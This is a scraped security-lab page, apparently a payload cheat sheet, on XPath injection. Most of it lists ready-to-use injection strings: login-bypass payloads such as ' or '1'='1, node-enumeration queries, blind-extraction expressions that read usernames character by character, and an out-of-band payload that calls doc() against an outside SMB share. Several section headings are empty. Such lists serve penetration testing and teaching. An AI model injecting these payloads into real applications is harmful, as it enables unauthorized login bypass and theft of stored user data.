TechnoFreaks - Security Lab
5 Payloads

XPATH Injection Payloads & Testing Methodology

Similar to SQL injection, you want to terminate the query properly:

XPATH Injection#

XPath Injection is an attack technique used to exploit applications that construct XPath (XML Path Language) queries from user-supplied input to query or navigate XML documents.

Summary#

Tools#

Methodology#

Similar to SQL injection, you want to terminate the query properly:

ps11 line
string(//user[name/text()='" +vuln_var1+ "' and password/text()='" +vuln_var1+ "']/account/text())
sql16 lines
' or '1'='1
' or ''='
x' or 1=1 or 'x'='y
/
//
//*
*/*
@*
count(/child::node())
x' or name()='username' or 'x'='y
' and count(/*)=1 and '1'='1
' and count(/@*)=1 and '1'='1
' and count(/comment())=1 and '1'='1
')] | //user/*[contains(*,'
') and contains(../password,'c
') and starts-with(../password,'c

Blind Exploitation#

  • Size of a string
sql1 line
    and string-length(account)=SIZE_INT
  • Access a character with substring, and verify its value the codepoints-to-string function
sql2 lines
    substring(//user[userid=5]/username,2,1)=CHAR_HERE
    substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)

Out Of Band Exploitation#

powershell1 line
http://example.com/?title=Foundation&type=*&rent_days=* and doc('//10.10.10.10/SHARE')

Labs#

References#